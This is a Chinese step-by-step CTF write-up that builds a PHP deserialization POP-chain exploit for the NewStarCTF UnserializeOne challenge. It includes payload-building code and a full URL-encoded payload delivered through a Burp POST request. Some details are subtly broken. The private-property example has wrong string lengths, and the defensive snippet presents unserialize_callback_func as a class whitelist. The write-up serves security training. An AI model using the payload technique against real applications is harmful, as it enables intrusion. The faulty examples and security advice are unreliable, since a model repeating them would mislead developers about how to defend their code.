保姆级教程:从零手把手教你复现NewStarCTF那道PHP反序列化题(UnserializeOne)

从零构建PHP反序列化漏洞实战:NewStarCTF UnserializeOne深度解析

第一次接触CTF中的PHP反序列化题目时,那种既兴奋又困惑的感觉至今难忘。看着其他选手轻松解出题目,而自己却连魔术方法的调用顺序都理不清——这或许是许多Web安全新手的共同经历。本文将以NewStarCTF的UnserializeOne为例,带你从环境搭建到Payload构造,完整走一遍反序列化漏洞的实战流程。不同于简单的解题思路复述,我们将重点关注那些教程中很少提及的"坑点":为什么私有属性需要修改?序列化字符串中的数字代表什么?当Payload不生效时该如何调试?

1. 环境准备与基础认知

1.1 搭建PHP测试环境

推荐使用Docker快速搭建隔离的测试环境,避免污染本地配置。以下命令会创建一个包含PHP 7.4和必要扩展的容器:

docker run -dit --name php-test -p 8080:80 -v "$PWD":/var/www/html php:7.4-apache

验证环境是否正常工作:

  1. 在项目目录创建info.php文件,内容为<?php phpinfo(); ?>
  2. 访问http://localhost:8080/info.php应显示PHP配置信息

1.2 魔术方法核心概念

PHP反序列化的关键在于理解这些特殊方法(魔术方法)的触发时机:

魔术方法触发条件典型用途
__construct()对象创建时初始化属性
__destruct()对象销毁时资源释放,常见漏洞入口
__toString()对象被当作字符串使用时字符串转换逻辑
__invoke()对象被当作函数调用时本案例中获取flag的关键
__isset()对不可访问属性调用isset()时属性访问控制
__call()调用不可访问方法时方法重定向

提示:在实际CTF比赛中,__wakeup()常常是绕过的重点,但本题未涉及

2. 题目代码深度解析

2.1 类结构拆解

题目包含四个关键类,我们需要分析它们的交互关系:

class Start { public $name; protected $func; // 析构时输出欢迎信息 public function __destruct() { /* ... */ } // 检查不可访问属性时触发 public function __isset($var) { /* ... */ } } class Sec { private $obj; private $var; // 对象被当作字符串时触发 public function __toString() { /* ... */ } // 对象被当作函数调用时触发(目标方法) public function __invoke() { /* ... */ } } class Easy { public $cla; // 调用不存在方法时触发 public function __call($fun, $var) { /* ... */ } } class eeee { public $obj; // 对象克隆时触发 public function __clone() { /* ... */ } }

2.2 攻击链(POP Chain)构建思路

我们的目标是触发Sec::__invoke()来读取flag,按照以下逻辑逆向推导:

  1. 最终目标:执行$x()形式的调用(触发__invoke)
  2. 触发路径
    • Start::__isset()($this->func)()可触发
    • 需要让func成为Sec对象
  3. 如何触发__isset
    • eeee::__clone()isset($this->obj->cmd)会触发
    • 需要obj是Start对象(因为cmd属性不存在)
  4. 如何触发__clone
    • Easy::__call()clone $var[0]会触发
  5. 如何触发__call
    • Sec::__toString()$this->obj->check()会触发
    • 需要obj是Easy对象(check方法不存在)
  6. 如何触发__toString
    • Start::__destruct()echo $this->name会触发
    • 需要name是Sec对象

3. 分步构造Payload

3.1 基础对象初始化

首先创建入口对象并设置基本属性:

$start = new Start(); $start->name = new Sec(); // 为触发__toString $start->name->obj = new Easy(); // 为触发__call $start->name->var = new eeee(); // 为触发__clone

3.2 属性访问链配置

继续完善对象间的引用关系:

$start->name->var->obj = new Start(); // 为触发__isset $start->name->var->obj->func = new Sec(); // 最终触发__invoke

3.3 处理访问修饰符问题

PHP序列化时会严格处理访问控制修饰符。观察原始代码:

  • Sec::$objSec::$var是private
  • Start::$func是protected

我们需要调整属性为public才能外部操作:

class Sec { public $obj; public $var; /* ... */ } class Start { public $name; public $func; /* ... */ }

3.4 生成序列化字符串

使用serialize()函数生成Payload:

echo urlencode(serialize($start));

得到的序列化字符串结构分析:

O:5:"Start":2:{ s:4:"name";O:3:"Sec":2:{ s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;} s:3:"var";O:4:"eeee":1:{ s:3:"obj";O:5:"Start":2:{ s:4:"name";N; s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;} } } } s:4:"func";N; }

注意:实际使用时需要去除换行和空格,这里格式化是为了可读性

4. 实战测试与调试技巧

4.1 使用Burp Suite发送Payload

  1. 拦截浏览器请求(建议使用Firefox)
  2. 修改POST参数:
    POST /target.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded pop=O%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A3%3A%22obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BO%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A4%3A%22func%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A3%3A%22obj%22%3BN%3Bs%3A3%3A%22var%22%3BN%3B%7D%7D%7Ds%3A4%3A%22func%22%3BN%3B%7D

4.2 常见问题排查

当Payload未生效时,按以下步骤检查:

  1. 属性可见性:确保所有需要的属性都是public
  2. 字符串长度:序列化中的s:4等数字必须与实际字符串长度匹配
  3. 魔术方法触发顺序:添加日志输出验证调用链
    class Sec { public function __invoke() { file_put_contents('debug.log', '__invoke triggered', FILE_APPEND); echo file_get_contents('/flag'); } }
  4. 特殊字符处理:使用urlencode()处理POST参数

5. 防御方案与进阶思考

5.1 安全开发建议

如果需要在项目中实现反序列化:

  • 使用json_decode()替代unserialize()
  • 实现__wakeup()方法重置敏感属性
  • 限制反序列化的类白名单
    ini_set('unserialize_callback_func', 'class_filter'); function class_filter($classname) { $allowed = ['SafeClass1', 'SafeClass2']; if (!in_array($classname, $allowed)) { throw new Exception("Unsafe class"); } }

5.2 CTF中的变种题型

掌握基础POP链后,可以挑战更复杂的变种:

  1. 属性修饰符绕过:利用C字符表示private属性
    O:3:"Sec":2:{s:6:"%00Sec%00obj";N;s:6:"%00Sec%00var";N;}
  2. __wakeup绕过:通过修改对象计数触发CVE-2016-7124
  3. 自定义序列化处理器:实现Serializable接口的类

在本地测试时,修改后的完整攻击脚本应该包含所有类定义和序列化逻辑。记得在实际CTF比赛中,通常需要将生成的Payload通过Web接口提交,而不是直接运行PHP脚本。